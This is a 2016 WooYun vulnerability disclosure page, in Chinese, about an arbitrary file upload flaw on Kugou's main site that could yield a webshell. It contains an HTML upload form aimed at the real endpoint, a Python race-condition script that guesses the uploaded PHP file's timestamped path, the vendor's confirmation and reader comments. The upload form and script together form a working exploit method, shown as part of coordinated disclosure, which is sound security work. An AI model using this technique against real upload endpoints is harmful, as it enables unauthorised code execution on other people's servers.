当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0208816

漏洞标题：酷狗主站的一处任意文件上传可shell

相关厂商：酷狗

漏洞作者： 李长歌

提交时间：2016-05-15 10:09

修复时间：2016-06-30 10:00

公开时间：2016-06-30 10:00

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-05-15： 细节已通知厂商并且等待厂商处理中
2016-05-16： 厂商已经确认，细节仅向厂商公开
2016-05-26： 细节向核心白帽子及相关领域专家公开
2016-06-05： 细节向普通白帽子公开
2016-06-15： 细节向实习白帽子公开
2016-06-30： 细节向公众公开

简要描述：

酷狗主站的一处任意文件上传可shell。

详细说明：

存在任意上传的地址为 http://www.kugou.com/kf/kf/app/upload.php
保存html文件然后上传

<html>
<body>
<form action="http://www.kugou.com/kf/kf/app/upload.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="imgFile" id="imgFile" /> 
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>


得到一个路径 {"error":0,"url":".\/upload\/1463241818.php"}
但是我们访问http://www.kugou.com/kf/kf/apphttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/1463241818.php 无法找到网页

QQ截图20160515005421.jpg


上传瞬间 就被删除了。
利用条件竞争，在被删除之前生成一个shell，上传之后的路径可以猜测到
写个脚本在上传php文件的时候同时进行猜测访问路径

import urllib2  
import threading
import time
def request_uri():
    uri = 'http://www.kugou.com/kf/kf/apphttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/%s.php' % str(time.time()).split('.')[0]
    try:
        req = urllib2.Request(uri)
        response = urllib2.urlopen(req).read()
        print 'except %s' % uri
        print response
    except Exception, e:
        pass
def start():
    threads = []
    for i in xrange(30):
        threads.append(threading.Thread(target=request_uri))
    for t in threads:
        t.start()
    for t in threads:
        t.join()
if __name__=='__main__':
    while True:
        start()


QQ截图20160515000124.jpg

漏洞证明：

QQ截图20160515004422.jpg


QQ截图20160515004918.jpg

修复方案：

shell已删，修复

版权声明：转载请注明来源 李长歌@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：7

确认时间：2016-05-16 09:56

厂商回复：

谢谢提交!

最新状态：

暂无

漏洞评价：

评价

  1. 2016-05-15 11:04 | jackyu ( 路人 | Rank:28 漏洞数:18 | 世界上没有一个系统是绝对安全的，系统最大...)

    ImageMagickk?

  2. 2016-05-15 11:15 | 李长歌 ( 普通白帽子 | Rank:426 漏洞数:44 | http://www.wooyun.org/)

    @jackyu 不是。

  3. 2016-05-15 16:49 | dr.m1st3r ( 实习白帽子 | Rank:54 漏洞数:10 | 一个爱泡妞的好骚年。)

    mark

  4. 2016-05-15 22:34 | 重瞳 ( 路人 | Rank:11 漏洞数:2 | 我是重瞳)

    吊吊吊

  5. 2016-05-19 09:32 | ba1ma0 ( 路人 | Rank:14 漏洞数:5 | 什么都不会..)

    叼叼叼

  6. 2016-05-19 09:47 | D＆G ( 普通白帽子 | Rank:780 漏洞数:158 | going)

    主站shell也才给个7，好像自己给钱似的

  7. 2016-05-19 15:53 | whynot ( 普通白帽子 | Rank:678 漏洞数:136 | 为你解冻冰河 为你放弃世界有何不可)

    表哥你真厉害

  8. 2016-06-05 10:14 | whynot ( 普通白帽子 | Rank:678 漏洞数:136 | 为你解冻冰河 为你放弃世界有何不可)

    666666我还以为这种只有审计能发现的

  9. 2016-06-06 09:35 | D＆G ( 普通白帽子 | Rank:780 漏洞数:158 | going)

    这也能黑盒。。。。

  10. 2016-06-30 10:07 | 欧尼酱 ( 路人 | Rank:15 漏洞数:8 | 技术马马虎虎)

    6666666

  11. 2016-06-30 10:08 | Mr_Java ( 普通白帽子 | Rank:170 漏洞数:43 | 高三党，当，档，裆！)

    这酷狗太不像话了。。。。。。才这点rank

  12. 2016-06-30 10:10 | 大志哥 ( 路人 | Rank:22 漏洞数:9 | @_@)

    主站都getshell了还只有中，7rank